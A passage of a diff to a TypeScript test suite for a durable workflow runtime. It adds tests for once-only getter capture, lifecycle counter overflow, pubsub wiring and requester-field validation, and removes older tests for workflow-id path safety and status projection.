+    const scheduleId = cPrimitive('schedule-original', mode);
+    const dispatchId = cPrimitive('dispatch-original', mode);
+    const pending = runtime.start('echo', {
+      runId: 'capture-dispatch',
+      inputData: { value: 'original' },
+      scheduleDispatch: {
+        get scheduleId() {
+          return scheduleId();
+        },
+        get dispatchId() {
+          return dispatchId();
+        },
+      },
     });
+    await expect(pending).resolves.toMatchObject({ status: 'success' });
+    expect(scheduleId).toHaveBeenCalledTimes(1);
+    expect(dispatchId).toHaveBeenCalledTimes(1);
+  });
+
+  it('C captures economic entries without invoking caller array methods', async () => {
+    const { runtime } = buildRuntime(new InMemoryStore());
+    const id = vi.fn(() => 'operation-original');
+    const settlementState = vi.fn(() => 'settled');
+    const operations = [
+      {
+        get id() {
+          return id();
+        },
+        get settlementState() {
+          return settlementState();
+        },
+      },
+    ];
+    const map = vi.fn(() => operations);
+    Object.defineProperty(operations, 'map', { value: map });
+    try {
+      await expect(
+        runtime.start('echo', {
+          runId: 'caller-array',
+          inputData: { value: 'original' },
+          economicOperations: operations,
+        }),
+      ).resolves.toMatchObject({ status: 'success' });
+      expect(id).toHaveBeenCalledTimes(1);
+      expect(settlementState).toHaveBeenCalledTimes(1);
+    } finally {
+      expect(map).not.toHaveBeenCalled();
+    }
   });
 
   it.each([
-    'team:wf',
-    'a/b',
-    '.',
-    '..',
-    '',
-  ])("rejects non-path-safe workflow id '%s' at registration", (id) => {
-    // #given
-    const { createWorkflow } = init(
-      { storage: new InMemoryStore() },
-      { startIdempotency: 'none', executionFence: 'none' },
-    );
+    'stable',
+    'alternating',
+    'second-throw',
+  ] as const)('C captures each economic operation primitive once before canonicalization: %s', async (mode) => {
+    const { runtime } = buildRuntime(new InMemoryStore());
+    const id = cPrimitive('operation-original', mode);
+    const settlementState = cPrimitive('settled', mode);
+    const pending = runtime.start('echo', {
+      runId: 'capture-operations',
+      inputData: { value: 'original' },
+      economicOperations: [
+        {
+          get id() {
+            return id();
+          },
+          get settlementState() {
+            return settlementState();
+          },
+        },
+      ],
+    });
+    await expect(pending).resolves.toMatchObject({ status: 'success' });
+    expect(id).toHaveBeenCalledTimes(1);
+    expect(settlementState).toHaveBeenCalledTimes(1);
+  });
+});
 
-    // #when / #then — a ':' or '/' in the id would make the DO name join
-    // (`${workflowId}:${runId}`) and the /runs/:workflowId/:runId path
-    // ambiguous; fail at register(), before any run can be minted under it
-    expect(() =>
-      createWorkflow({
-        id,
-        inputSchema: z.object({}),
-        outputSchema: z.object({}),
+describe('RunnerRuntime host pubsub identity', () => {
+  it('preserves the moved lifecycle error constructor identity', () => {
+    expect(RunLifecycleBlockedError).toBe(LeafRunLifecycleBlockedError);
+    expect(
+      new LeafRunLifecycleBlockedError({
+        code: 'DISPUTED_SETTLEMENT',
+        message: 'blocked',
       }),
-    ).toThrowError(/must be URL-path-safe/);
+    ).toBeInstanceOf(RunLifecycleBlockedError);
   });
+  it('threads the pubsub instance from init() through to runtime.pubsub', () => {
+    // #given — a host builds ONE pubsub identity for its DO
+    const pubsub = createHostPubSub();
 
-  it('accepts path-safe workflow ids at registration', () => {
-    // #given
-    const { createWorkflow, runtime } = init(
+    // #when — init() threads it (InitOptions.pubsub -> RunnerRuntimeOptions.pubsub)
+    const { runtime } = init(
       { storage: new InMemoryStore() },
-      { startIdempotency: 'none', executionFence: 'none' },
+      { startIdempotency: 'none', pubsub, executionFence: 'none' },
     );
 
-    // #when — unreserved-character id, including the '.' that only the bare
-    // dot-segments '.' and '..' are barred from
-    createWorkflow({
-      id: 'demo-approval.v2_~ok',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-    });
-
-    // #then
-    expect(runtime.workflowIds()).toContain('demo-approval.v2_~ok');
+    // #then — the SAME instance is reachable, so the agent's createRun
+    // sites and observe() replay share one feed. Delete the thread in init.ts
+    // and this fails: runtime.pubsub is undefined, so the two createRun sites
+    // each let core default a separate emitter — the bug this seam prevents.
+    expect(runtime.pubsub).toBe(pubsub);
   });
 
-  it('rejects registration after the first run', async () => {
-    // #given
-    const { createWorkflow, createStep, runtime } = init(
+  it('leaves runtime.pubsub undefined when the host configures none (byte-identical)', () => {
+    // #when — no pubsub passed
+    const { runtime } = init(
       { storage: new InMemoryStore() },
       { startIdempotency: 'none', executionFence: 'none' },
     );
-    const step = createStep({
-      id: 'noop',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-      execute: async () => ({}),
-    });
-    createWorkflow({
-      id: 'wf',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-    })
-      .then(step)
-      .commit();
-    await runtime.start('wf', { runId: crypto.randomUUID(), inputData: {} });
 
-    // #when / #then
-    expect(() =>
-      createWorkflow({
-        id: 'late',
-        inputSchema: z.object({}),
-        outputSchema: z.object({}),
-      }),
-    ).toThrowError(/before the first run/);
-    expect(() => runtime.registerAgent(runtimeAgent('late'))).toThrowError(
-      /before the first run/,
-    );
+    // #then — undefined, the polling-fallback posture existing hosts keep
+    expect(runtime.pubsub).toBeUndefined();
   });
 });
 
-const ISO_8601 = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}/;
-
-describe('RunnerRuntime.status projection', () => {
-  it('persists a terminal status when a workflow retains only resume snapshots', async () => {
-    const storage = new InMemoryStore();
-    const { createWorkflow, createStep, runtime } = init(
-      { storage },
-      { startIdempotency: 'none', executionFence: 'none' },
-    );
-    const gate = createStep({
-      id: 'gate',
-      inputSchema: z.object({ value: z.string() }),
-      outputSchema: z.object({ value: z.string() }),
-      suspendSchema: z.object({ reason: z.string() }),
-      resumeSchema: z.object({ approved: z.boolean() }),
-      execute: async ({ inputData, resumeData, suspend }) =>
-        resumeData?.approved
-          ? inputData
-          : suspend({ reason: 'approval required' }),
+describe('Runtime checked durable counters', () => {
+  const MAX = Number.MAX_SAFE_INTEGER;
+  const owner = { kind: 'human' as const, id: 'owner' };
+  it('rejects an exhausted live cancellation before context publication or cancel invocation', async () => {
+    const sql = openSqlite();
+    const db = sqliteUnitDatabase(sql) as D1DatabaseBinding;
+    const app = init({ DB: db });
+    let entered = () => {};
+    let release = () => {};
+    const held = new Promise<void>((resolve) => {
+      release = resolve;
     });
-    createWorkflow({
-      id: 'resume-artifact-only',
-      inputSchema: z.object({ value: z.string() }),
-      outputSchema: z.object({ value: z.string() }),
-      options: {
-        shouldPersistSnapshot: ({ workflowStatus }) =>
-          workflowStatus === 'pending' || workflowStatus === 'suspended',
-      },
-    })
-      .then(gate)
+    const enteredPromise = new Promise<void>((resolve) => {
+      entered = resolve;
+    });
+    let context: RequestContext | undefined;
+    const workflow = app
+      .createWorkflow({
+        id: 'live-counter',
+        inputSchema: z.object({}),
+        outputSchema: z.object({}),
+      })
+      .then(
+        app.createStep({
+          id: 'held',
+          inputSchema: z.object({}),
+          outputSchema: z.object({}),
+          execute: async ({ requestContext }) => {
+            context = requestContext;
+            entered();
+            await held;
+            return {};
+          },
+        }),
+      )
       .commit();
-    const started = await runtime.start('resume-artifact-only', {
-      runId: 'acme_terminal-status',
-      inputData: { value: 'durable' },
+    const create = workflow.createRun.bind(workflow);
+    const cancel = vi.fn();
+    vi.spyOn(workflow, 'createRun').mockImplementation(async (...args) => {
+      const run = await create(...args);
+      const originalCancel = run.cancel.bind(run);
+      vi.spyOn(run, 'cancel').mockImplementation(async () => {
+        cancel();
+        await originalCancel();
+      });
+      return run;
     });
+    const running = app.runtime.start('live-counter', {
+      runId: 'live-run',
+      inputData: {},
+      requestedBy: owner.id,
+      requestedByKind: owner.kind,
+    });
+    try {
+      await enteredPromise;
+      const read = () =>
+        sql.prepare('SELECT * FROM mastra_workflow_snapshot').get() as {
+          snapshot: string;
+        };
+      const snapshot = JSON.parse(read().snapshot);
+      snapshot.requestContext = {
+        ...snapshot.requestContext,
+        'flowsafe.runLifecycle': { version: 1, revision: MAX },
+      };
+      sql
+        .prepare('UPDATE mastra_workflow_snapshot SET snapshot = ?')
+        .run(JSON.stringify(snapshot));
+      if (!context) throw new Error('live request context missing');
+      const beforeContext = [...context.entries()];
+      const before = read();
+      const outcome = await app.runtime
+        .cancelActiveExecution(
+          'live-counter',
+          'live-run',
+          'cancelled',
+          [owner],
+          undefined,
+          200,
+        )
+        .catch((error: unknown) => error);
+      expect(read()).toEqual(before);
+      expect([...context.entries()]).toEqual(beforeContext);
+      expect(cancel).not.toHaveBeenCalled();
+      expect(outcome).toMatchObject({
+        message: 'run lifecycle revision cannot advance',
+      });
+    } finally {
+      release();
+      await running;
+    }
+  });
+  async function counterFixture() {
+    const sql = openSqlite();
+    const db = sqliteUnitDatabase(sql) as D1DatabaseBinding;
+    const provider = vi.fn(() => ({}));
+    const prepareExecution = vi.fn(async () => undefined);
+    const effects = vi.fn();
+    function makeRuntime() {
+      const app = init({ DB: db }, { requestContextForRun: provider });
+      app
+        .createWorkflow({
+          id: 'counter',
+          inputSchema: z.object({}),
+          outputSchema: z.object({}),
+        })
+        .then(
+          app.createStep({
+            id: 'gate',
+            inputSchema: z.object({}),
+            outputSchema: z.object({}),
+            execute: async ({ resumeData, suspend }) => {
+              if (!resumeData) return suspend({ reason: 'counter test' });
+              effects();
+              return {};
+            },
+          }),
+        )
+        .commit();
+      return app.runtime;
+    }
+    await makeRuntime().start('counter', {
+      runId: 'counter-run',
+      inputData: {},
+      requestedBy: owner.id,
+      requestedByKind: owner.kind,
+    });
+    const read = () =>
+      sql.prepare('SELECT * FROM mastra_workflow_snapshot').get() as {
+        snapshot: string;
+      };
+    const seed = (
+      edit: (state: {
+        status: string;
+        requestContext: Record<string, unknown> & {
+          'flowsafe.runProvenance': { resumeCounts: Array<[string, number]> };
+        };
+      }) => void,
+    ) => {
+      const state = JSON.parse(read().snapshot);
+      edit(state);
+      sql
+        .prepare('UPDATE mastra_workflow_snapshot SET snapshot = ?')
+        .run(JSON.stringify(state));
+    };
+    const resume = {
+      step: 'gate',
+      resumeData: { go: true },
+      requestedBy: owner.id,
+      requestedByKind: owner.kind,
+      prepareExecution,
+    };
+    return {
+      sql,
+      db,
+      makeRuntime,
+      read,
+      seed,
+      provider,
+      prepareExecution,
+      effects,
+      resume,
+    };
+  }
 
-    const resumed = await runtime.resume(
-      'resume-artifact-only',
-      started.runId,
-      {
-        resumeData: { approved: true },
-      },
-    );
-    const status = await runtime.status('resume-artifact-only', started.runId);
-
-    expect(resumed).toMatchObject({
-      status: 'success',
-      result: { value: 'durable' },
+  it.each([
+    'cancel-intent',
+    'terminate',
+    'timeout',
+    'cleanup',
+    'resume-count',
+    'resume-deadline',
+    'resume-economic',
+  ])('rejects exhausted %s before durable or execution effects', async (variant) => {
+    const h = await counterFixture();
+    h.seed((state) => {
+      state.requestContext['flowsafe.runLifecycle'] = {
+        version: 1,
+        revision: MAX,
+        ...(variant === 'timeout' ? { deadlineAt: 100 } : {}),
+      };
+      if (variant === 'resume-count')
+        state.requestContext['flowsafe.runProvenance'].resumeCounts = [
+          ['gate', MAX],
+        ];
+      if (variant === 'cleanup') {
+        state.status = 'cancelled';
+        state.requestContext['flowsafe.runLifecycle'] = {
+          version: 1,
+          revision: MAX,
+          terminal: {
+            status: 'cancelled',
+            error: { code: 'CANCELLED', message: 'run was cancelled' },
+            transitionedAt: 100,
+            replayPrincipals: [owner],
+          },
+        };
+      }
     });
-    expect(status).toMatchObject({
-      status: 'success',
-      result: { value: 'durable' },
+    const runtime = h.makeRuntime();
+    await expect(
+      runtime.authoritativeStatus('counter', 'counter-run'),
+    ).resolves.toHaveProperty('runId', 'counter-run');
+    h.provider.mockClear();
+    const before = h.read();
+    const prepare = vi.spyOn(h.db, 'prepare');
+    const operation =
+      variant === 'cancel-intent'
+        ? runtime.cancelActiveExecution(
+            'counter',
+            'counter-run',
+            'cancelled',
+            [owner],
+            undefined,
+            200,
+          )
+        : variant === 'terminate'
+          ? runtime.terminateAsPrincipal(
+              'counter',
+              'counter-run',
+              owner,
+              owner,
+              200,
+            )
+          : variant === 'timeout'
+            ? runtime.timeOutAsPrincipal(
+                'counter',
+                'counter-run',
+                { expectedRevision: MAX, expectedDeadlineAt: 100 },
+                owner,
+                owner,
+                200,
+              )
+            : variant === 'cleanup'
+              ? runtime.completeTerminalCleanup(
+                  'counter',
+                  'counter-run',
+                  MAX,
+                  200,
+                )
+              : runtime.resume('counter', 'counter-run', {
+                  ...h.resume,
+                  ...(variant === 'resume-deadline'
+                    ? { deadlineMs: 60_000 }
+                    : {}),
+                  ...(variant === 'resume-economic'
+                    ? { economicOperations: [] }
+                    : {}),
+                });
+    const outcome = await operation.catch((error: unknown) => error);
+    expect(h.read()).toEqual(before);
+    expect(
+      prepare.mock.calls.filter(([sql]) =>
+        /^(?:UPDATE|INSERT|DELETE|REPLACE)\b/i.test(sql.trim()),
+      ),
+    ).toEqual([]);
+    expect(h.effects).not.toHaveBeenCalled();
+    expect(h.provider).not.toHaveBeenCalled();
+    expect(h.prepareExecution).not.toHaveBeenCalled();
+    expect(outcome).toBeInstanceOf(Error);
+    expect(outcome).toMatchObject({
+      message:
+        variant === 'resume-count'
+          ? 'run resume count cannot advance'
+          : 'run lifecycle revision cannot advance',
     });
+    await expect(
+      h.makeRuntime().authoritativeStatus('counter', 'counter-run'),
+    ).resolves.toHaveProperty('runId', 'counter-run');
   });
 
-  it('persists a terminal start when the engine omits terminal snapshots', async () => {
-    const storage = new InMemoryStore();
+  it.each([
+    'resume-no-replacement',
+    'matching-intent',
+    'already-terminal',
+    'completed-cleanup',
+  ])('preserves maximum counters on %s nonincrementing paths', async (variant) => {
+    const h = await counterFixture();
+    h.seed((state) => {
+      const terminal = {
+        status: 'cancelled',
+        error: { code: 'CANCELLED', message: 'run was cancelled' },
+        transitionedAt: 100,
+        replayPrincipals: [owner],
+        ...(variant === 'completed-cleanup' ? { cleanupCompletedAt: 0 } : {}),
+      };
+      state.requestContext['flowsafe.runLifecycle'] = {
+        version: 1,
+        revision: MAX,
+        ...(variant === 'matching-intent'
+          ? {
+              transitionIntent: {
+                status: 'cancelled',
+                requestedAt: 100,
+                replayPrincipals: [owner],
+              },
+            }
+          : {}),
+        ...(variant === 'already-terminal' || variant === 'completed-cleanup'
+          ? { terminal }
+          : {}),
+      };
+      state.requestContext['flowsafe.runProvenance'].resumeCounts = [
+        ['unselected', MAX],
+      ];
+      if (variant === 'already-terminal' || variant === 'completed-cleanup')
+        state.status = 'cancelled';
+    });
+    const runtime = h.makeRuntime();
+    const before = h.read();
+    if (variant === 'resume-no-replacement')
+      await expect(
+        runtime.resume('counter', 'counter-run', h.resume),
+      ).resolves.toMatchObject({ status: 'success' });
+    else if (variant === 'matching-intent')
+      await expect(
+        runtime.cancelActiveExecution(
+          'counter',
+          'counter-run',
+          'cancelled',
+          [owner],
+          undefined,
+          200,
+        ),
+      ).resolves.toBe(false);
+    else if (variant === 'already-terminal')
+      await runtime.terminateAsPrincipal(
+        'counter',
+        'counter-run',
+        owner,
+        owner,
+        200,
+      );
+    else
+      await runtime.completeTerminalCleanup('counter', 'counter-run', MAX, 200);
+    const state = JSON.parse(h.read().snapshot);
+    expect(
+      parseRunLifecycle(state.requestContext['flowsafe.runLifecycle'])
+        ?.revision,
+    ).toBe(MAX);
+    if (variant !== 'resume-no-replacement') expect(h.read()).toEqual(before);
+    await expect(
+      h.makeRuntime().authoritativeStatus('counter', 'counter-run'),
+    ).resolves.toHaveProperty('runId', 'counter-run');
+  });
+
+  it.each([
+    'cancel-intent',
+    'terminate',
+    'cleanup',
+    'resume-count',
+    'resume-revision',
+  ])('advances MAX minus one %s exactly once without losing readability', async (variant) => {
+    const h = await counterFixture();
+    h.seed((state) => {
+      state.requestContext['flowsafe.runLifecycle'] = {
+        version: 1,
+        revision: MAX - 1,
+      };
+      if (variant === 'resume-count')
+        state.requestContext['flowsafe.runProvenance'].resumeCounts = [
+          ['gate', MAX - 1],
+        ];
+      if (variant === 'cleanup') {
+        state.status = 'cancelled';
+        state.requestContext['flowsafe.runLifecycle'] = {
+          version: 1,
+          revision: MAX - 1,
+          terminal: {
+            status: 'cancelled',
+            error: { code: 'CANCELLED', message: 'run was cancelled' },
+            transitionedAt: 100,
+            replayPrincipals: [owner],
+          },
+        };
+      }
+    });
+    const runtime = h.makeRuntime();
+    if (variant === 'cancel-intent')
+      await runtime.cancelActiveExecution(
+        'counter',
+        'counter-run',
+        'cancelled',
+        [owner],
+        undefined,
+        200,
+      );
+    else if (variant === 'terminate')
+      await runtime.terminateAsPrincipal(
+        'counter',
+        'counter-run',
+        owner,
+        owner,
+        200,
+      );
+    else if (variant === 'cleanup')
+      await runtime.completeTerminalCleanup(
+        'counter',
+        'counter-run',
+        MAX - 1,
+        200,
+      );
+    else
+      await runtime.resume('counter', 'counter-run', {
+        ...h.resume,
+        ...(variant === 'resume-revision' ? { economicOperations: [] } : {}),
+      });
+    const state = JSON.parse(h.read().snapshot);
+    if (variant === 'resume-count')
+      expect(
+        state.requestContext['flowsafe.runProvenance'].resumeCounts,
+      ).toContainEqual(['gate', MAX]);
+    else
+      expect(
+        parseRunLifecycle(state.requestContext['flowsafe.runLifecycle'])
+          ?.revision,
+      ).toBe(MAX);
+    expect(state.requestContext['flowsafe.runProvenance'].version).toBe(2);
+    await expect(
+      h.makeRuntime().authoritativeStatus('counter', 'counter-run'),
+    ).resolves.toHaveProperty('runId', 'counter-run');
+  });
+});
+
+describe('RunnerRuntime', () => {
+  it('passes initial workflow state through to core execution', async () => {
     const { createWorkflow, createStep, runtime } = init(
-      { storage },
+      { storage: new InMemoryStore() },
       { startIdempotency: 'none', executionFence: 'none' },
     );
-    const echo = createStep({
-      id: 'echo-once',
-      inputSchema: z.object({ value: z.string() }),
-      outputSchema: z.object({ value: z.string() }),
-      execute: async ({ inputData }) => inputData,
+    const stateSchema = z.object({ seed: z.string() });
+    const inspect = createStep({
+      id: 'inspect-state',
+      stateSchema,
+      inputSchema: z.object({}),
+      outputSchema: z.object({ seed: z.string() }),
+      execute: async ({ state }) => ({ seed: state.seed }),
     });
     createWorkflow({
-      id: 'start-artifact-only',
-      inputSchema: z.object({ value: z.string() }),
-      outputSchema: z.object({ value: z.string() }),
-      options: {
-        shouldPersistSnapshot: ({ workflowStatus }) =>
-          workflowStatus === 'pending',
-      },
+      id: 'stateful',
+      stateSchema,
+      inputSchema: z.object({}),
+      outputSchema: z.object({ seed: z.string() }),
     })
-      .then(echo)
+      .then(inspect)
       .commit();
 
-    const done = await runtime.start('start-artifact-only', {
-      runId: 'acme_terminal-start',
-      inputData: { value: 'durable' },
-    });
-    const status = await runtime.status('start-artifact-only', done.runId);
-
-    expect(done).toMatchObject({
-      status: 'success',
-      result: { value: 'durable' },
-    });
-    expect(status).toMatchObject({
+    await expect(
+      runtime.start('stateful', {
+        runId: 'scheduled-state',
+        inputData: {},
+        initialState: { seed: 'from-schedule' },
+      }),
+    ).resolves.toMatchObject({
       status: 'success',
-      result: { value: 'durable' },
+      result: { seed: 'from-schedule' },
     });
   });
 
-  it('projects suspended detail — paths, payload, timestamps — from the snapshot', async () => {
-    // #given
+  it('rejects numeric run and start-attempt ids without RegExp coercion', async () => {
     const { runtime } = buildRuntime(new InMemoryStore());
-    const started = await runtime.start('demo-approval', {
-      runId: crypto.randomUUID(),
-      inputData: { topic: 'launch' },
-    });
-    expect(started.status).toBe('suspended');
 
-    // #when
-    const status = await runtime.status('demo-approval', started.runId);
-
-    // #then
-    expect(status).toMatchObject({
-      status: 'suspended',
-      suspended: [['approval']],
-      suspendPayload: { approval: { reason: 'human approval required' } },
-    });
-    expect(status?.createdAt).toMatch(ISO_8601);
-    expect(status?.updatedAt).toMatch(ISO_8601);
+    await expect(
+      runtime.start('echo', {
+        runId: 123 as unknown as string,
+        inputData: { value: 'x' },
+      }),
+    ).rejects.toBeInstanceOf(InvalidRunRequestError);
+    await expect(
+      runtime.start('echo', {
+        runId: 'run-1',
+        inputData: { value: 'x' },
+        attemptToken: 123 as unknown as string,
+      }),
+    ).rejects.toThrow('attemptToken is malformed');
   });
 
-  it('projects the result for a completed run', async () => {
-    // #given
+  it('accepts a requester id exactly at the principal-id bound', async () => {
     const { runtime } = buildRuntime(new InMemoryStore());
-    const done = await runtime.start('echo', {
-      runId: crypto.randomUUID(),
-      inputData: { value: 'hi' },
-    });
+    const requestedBy = 'r'.repeat(200);
 
-    // #when
-    const status = await runtime.status('echo', done.runId);
+    await expect(
+      runtime.start('echo', {
+        runId: 'bounded-requester',
+        inputData: { value: 'x' },
+        requestedBy,
+        requestedByKind: 'human',
+      }),
+    ).resolves.toMatchObject({ requestedBy, requestedByKind: 'human' });
+  });
 
-    // #then
-    expect(status).toMatchObject({
-      status: 'success',
-      result: { value: 'hi' },
-    });
+  it.each([
+    ['an overlong requester', 'r'.repeat(201)],
+    ['an all-whitespace requester', ' '.repeat(200)],
+    ['a control-bearing requester', 'reviewer\u000aforged'],
+  ])('rejects %s on start', async (_label, requestedBy) => {
+    const { runtime } = buildRuntime(new InMemoryStore());
+
+    await expect(
+      runtime.start('echo', {
+        runId: 'invalid-requester',
+        inputData: { value: 'x' },
+        requestedBy,
+        requestedByKind: 'human',
+      }),
+    ).rejects.toThrow('requestedBy is malformed');
   });
 
-  it('projects the failure message for a failed run', async () => {
-    // #given
-    const { createWorkflow, createStep, runtime } = init(
-      { storage: new InMemoryStore() },
-      { startIdempotency: 'none', executionFence: 'none' },
-    );
-    const boom = createStep({
-      id: 'boom',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-      execute: async () => {
-        throw new Error('boom');
-      },
-    });
-    createWorkflow({
-      id: 'failing',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-    })
-      .then(boom)
-      .commit();
-    const started = await runtime.start('failing', {
-      runId: crypto.randomUUID(),
-      inputData: {},
-    });
-    expect(started.status).toBe('failed');
+  it.each([
+    'human',
+    'service',
+    'agent',
+    'system',
+  ] as const)("accepts the '%s' requester kind", async (requestedByKind) => {
+    const { runtime } = buildRuntime(new InMemoryStore());
 
-    // #when
-    const status = await runtime.status('failing', started.runId);
+    await expect(
+      runtime.start('echo', {
+        runId: `requester-kind-${requestedByKind}`,
+        inputData: { value: 'x' },
+        requestedBy: 'requester',
+        requestedByKind,
+      }),
+    ).resolves.toMatchObject({ requestedByKind });
+  });
 
-    // #then
-    expect(status?.status).toBe('failed');
-    expect(status?.error).toContain('boom');
+  it.each([
+    'operator',
+    '',
+    null,
+    1,
+  ])('rejects an invalid requester kind (%s)', async (requestedByKind) => {
+    const { runtime } = buildRuntime(new InMemoryStore());
+
+    await expect(
+      runtime.start('echo', {
+        runId: 'invalid-requester-kind',
+        inputData: { value: 'x' },
+        requestedBy: 'requester',
+        requestedByKind: requestedByKind as never,
+      }),
+    ).rejects.toThrow('requestedByKind is malformed');
   });
 
-  it('extracts the message from a thrown non-Error object', async () => {
-    // #given — a step that throws a serialized-style { name, message, stack }
-    // object, not an Error instance. This is the shape errorText() defends
-    // against at an engine/persistence boundary; String() on it reads
-    // '[object Object]', so a naive projection would lose the message.
-    const { createWorkflow, createStep, runtime } = init(
-      { storage: new InMemoryStore() },
-      { startIdempotency: 'none', executionFence: 'none' },
+  it.each([
+    ['requestedBy without requestedByKind', { requestedBy: 'requester' }],
+    ['requestedByKind without requestedBy', { requestedByKind: 'human' }],
+  ])('rejects %s on start', async (_label, requester) => {
+    const { runtime } = buildRuntime(new InMemoryStore());
+
+    await expect(
+      runtime.start('echo', {
+        runId: 'half-attributed-start',
+        inputData: { value: 'x' },
+        ...requester,
+      } as never),
+    ).rejects.toThrow(
+      'requestedBy and requestedByKind must be provided together',
     );
-    const boom = createStep({
-      id: 'boom-object',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-      execute: async () => {
-        throw {
-          name: 'WeirdError',
-          message: 'object-shaped failure',
-          stack: 'x',
-        };
-      },
+  });
+
+  it.each([
+    ['an overlong requester', 'r'.repeat(201)],
+    ['an all-whitespace requester', ' '.repeat(200)],
+    ['a control-bearing requester', 'reviewer\u007fforged'],
+  ])('rejects %s on resume', async (_label, requestedBy) => {
+    const { runtime } = buildRuntime(new InMemoryStore());
+    const started = await runtime.start('demo-approval', {
+      runId: 'invalid-resume-requester',
+      inputData: { topic: 'launch' },
+      requestedBy: 'initiator',
+      requestedByKind: 'human',
     });
-    createWorkflow({
-      id: 'obj-failing',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-    })
-      .then(boom)
-      .commit();
 
-    // #when
-    const started = await runtime.start('obj-failing', {
-      runId: crypto.randomUUID(),
-      inputData: {},
+    await expect(
+      runtime.resume('demo-approval', started.runId, {
+        step: 'approval',
+        resumeData: { approvedBy: 'alice' },
+        requestedBy,
+        requestedByKind: 'human',
+      }),
+    ).rejects.toThrow('requestedBy is malformed');
+  });
+
+  it.each([
+    ['requestedBy without requestedByKind', { requestedBy: 'requester' }],
+    ['requestedByKind without requestedBy', { requestedByKind: 'human' }],
+  ])('rejects %s on resume', async (_label, requester) => {
+    const { runtime } = buildRuntime(new InMemoryStore());
+    const started = await runtime.start('demo-approval', {
+      runId: 'half-attributed-resume',
+      inputData: { topic: 'launch' },
     });
 
-    // #then — both the run summary and the status projection surface the
-    // message field, never '[object Object]'
-    expect(started.status).toBe('failed');
-    expect(started.error).toBe('object-shaped failure');
-    expect((await runtime.status('obj-failing', started.runId))?.error).toBe(
-      'object-shaped failure',
+    await expect(
+      runtime.resume('demo-approval', started.runId, {
+        step: 'approval',
+        resumeData: { approvedBy: 'alice' },
+        ...requester,
+      } as never),
+    ).rejects.toThrow(
+      'requestedBy and requestedByKind must be provided together',
     );
   });
 
-  it('projects every branch of a multi-step (parallel) suspension', async () => {
-    // #given — two parallel steps that both suspend in the same run
-    const { createWorkflow, createStep, runtime } = init(
-      { storage: new InMemoryStore() },
-      { startIdempotency: 'none', executionFence: 'none' },
-    );
-    const makeGate = (id: string, reason: string) =>
-      createStep({
-        id,
-        inputSchema: z.object({}),
-        outputSchema: z.object({ ok: z.boolean() }),
-        suspendSchema: z.object({ reason: z.string() }),
-        resumeSchema: z.object({ go: z.boolean() }),
-        execute: async ({ resumeData, suspend }) =>
-          resumeData ? { ok: true } : suspend({ reason }),
-      });
-    createWorkflow({
-      id: 'parallel-suspend',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-    })
-      .parallel([makeGate('gateA', 'A waits'), makeGate('gateB', 'B waits')])
-      .commit();
-    const started = await runtime.start('parallel-suspend', {
-      runId: crypto.randomUUID(),
-      inputData: {},
+  it('inherits a complete stored requester pair when a resume supplies neither', async () => {
+    const { runtime } = buildRuntime(new InMemoryStore());
+    const started = await runtime.start('demo-approval', {
+      runId: 'inherited-requester-pair',
+      inputData: { topic: 'launch' },
+      requestedBy: 'initiator',
+      requestedByKind: 'service',
     });
-    expect(started.status).toBe('suspended');
-
-    // #when
-    const status = await runtime.status('parallel-suspend', started.runId);
 
-    // #then — both suspended paths and both keyed suspend payloads project
-    expect(status?.suspended).toHaveLength(2);
-    expect(status?.suspended).toContainEqual(['gateA']);
-    expect(status?.suspended).toContainEqual(['gateB']);
-    expect(status?.suspendPayload).toEqual({
-      gateA: { reason: 'A waits' },
-      gateB: { reason: 'B waits' },
+    await expect(
+      runtime.resume('demo-approval', started.runId, {
+        step: 'approval',
+        resumeData: { approvedBy: 'alice' },
+      }),
+    ).resolves.toMatchObject({
+      requestedBy: 'initiator',
+      requestedByKind: 'service',
     });
   });
-});
 
-describe('RunnerRuntime run lifecycle', () => {
-  const principal = { kind: 'human' as const, id: 'operator-1' };
+  it('rejects a numeric recovery token without RegExp coercion', async () => {
+    const { runtime } = buildRuntime(new InMemoryStore());
 
-  function heldRuntime(
-    options: {
-      suspendFirst?: boolean;
-      storage?: InMemoryStore;
-      cancelFailures?: number;
-      cancelNoop?: boolean;
-    } = {},
-  ): {
-    runtime: RunnerRuntime;
-    entered: Promise<void>;
-    release: () => void;
-    completed: () => boolean;
-  } {
-    let enter!: () => void;
-    let release!: () => void;
-    let completed = false;
-    const entered = new Promise<void>((resolve) => {
-      enter = resolve;
-    });
-    const held = new Promise<void>((resolve) => {
-      release = resolve;
-    });
-    const { createWorkflow, createStep, runtime } = init(
-      { storage: options.storage ?? new InMemoryStore() },
-      { startIdempotency: 'none', executionFence: 'none' },
-    );
-    const step = createStep({
-      id: 'held',
-      inputSchema: z.object({}),
-      outputSchema: z.object({ ok: z.boolean() }),
-      suspendSchema: z.object({ reason: z.string() }),
-      execute: async ({ resumeData, suspend, abortSignal }) => {
-        if (options.suspendFirst && !resumeData) {
-          return suspend({ reason: 'resume to enter held work' });
-        }
-        enter();
-        await Promise.race([
-          held,
-          new Promise<never>((_resolve, reject) => {
-            abortSignal.addEventListener(
-              'abort',
-              () => reject(new Error('held work aborted')),
-              { once: true },
-            );
-          }),
-        ]);
-        completed = true;
-        return { ok: true };
-      },
-    });
-    const workflow = createWorkflow({
-      id: 'held-workflow',
-      inputSchema: z.object({}),
-      outputSchema: z.object({ ok: z.boolean() }),
-    })
-      .then(step)
-      .commit();
-    if ((options.cancelFailures ?? 0) > 0 || options.cancelNoop) {
-      let remaining = options.cancelFailures ?? 0;
-      const originalCreateRun = workflow.createRun.bind(workflow);
-      Object.defineProperty(workflow, 'createRun', {
-        configurable: true,
-        value: async (...args: Parameters<typeof workflow.createRun>) => {
-          const run = await originalCreateRun(...args);
-          const originalCancel = run.cancel.bind(run);
-          Object.defineProperty(run, 'cancel', {
-            configurable: true,
-            value: async () => {
-              if (options.cancelNoop) return;
-              if (remaining > 0) {
-                remaining -= 1;
-                throw new Error('injected cancel failure');
-              }
-              await originalCancel();
-            },
-          });
-          return run;
+    await expect(
+      runtime.recoverStartAttempt(
+        {
+          tablePrefix: '',
+          workflowId: 'echo',
+          runId: 'run-1',
+          startToken: 'S',
         },
